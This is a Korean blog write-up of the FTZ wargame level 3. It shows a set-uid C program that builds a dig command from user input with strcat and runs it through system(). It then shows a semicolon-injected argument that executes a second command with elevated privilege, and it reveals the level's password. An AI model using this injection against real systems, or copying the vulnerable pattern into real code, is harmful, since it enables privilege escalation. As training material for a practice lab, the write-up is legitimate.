Jaeseo's Information Security Story

FTZ - level3 - WriteUp 본문

Write UP/FTZ

FTZ - level3 - WriteUp

Jaeseokim 2019. 11. 8. 22:32

일단 hint를 보고 문제를 풀어본다.

일단 autodig명령어를 이용하여 level4의 권한을 얻어야 하는 것 같다.

whereis와 ls -la를 통해 살펴 본 결과 leve4의 권한으로 set-uid가 설정되어 있다.

이제 autodig 명령어의 소스 코드를 살펴본다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){ // 만약 인자값 하나가 아니라면 간단한 설명을 보여주고 종료로 빠진다.
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" ); //cmd배열에 dig @를 추가
    strcat( cmd, argv[1] ); //cmd배열에 인자값을 추가
    strcat( cmd, " version.bind chaos txt"); //cmd배열에 문자  version.bind chaos txt 추가

    system( cmd ); //cmd에 있는 문자를 가지고 명령 실행!

}

이제 이 소스를 보고 Payload를 짜본다.

일단 dig 명령어(도메인 질의 명령어)를 정상적으로 동작하기 위해 roopback 주소 127.0.0.1을 넣어준다.

그다음 이어서 명령어가 정상적으로 인식하기 위해 ; (세미콜론)을 추가해준다.

그리고 level4의 권한으로 실행을 원하는 명령어를 추가해준다.

마지막으로 하나의 문자열로 인식하도록 묶어 준다.

그 결과 실행 시 cmd [100] 배열 안에는 이러한 명령어가 저장되어 있을 것이다. 

dig @127.0.0.1;my-pass  version.bind chaos txt

이제 이 아래의 명령어를 실행하면 dig 명령어를 실행하고 level4의 권한으로 my-pass명령어가 실행될 것이다.

autodig "127.0.0.1;my-pass"

level4:suck my brain

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level6 - WriteUp  (0) 2019.11.09
FTZ - level5 - WriteUP  (0) 2019.11.09
FTZ - level4 - WriteUp  (0) 2019.11.08
FTZ - level2 - WriteUp  (0) 2019.11.08
FTZ - level 1 - WriteUP  (0) 2019.11.08
Comments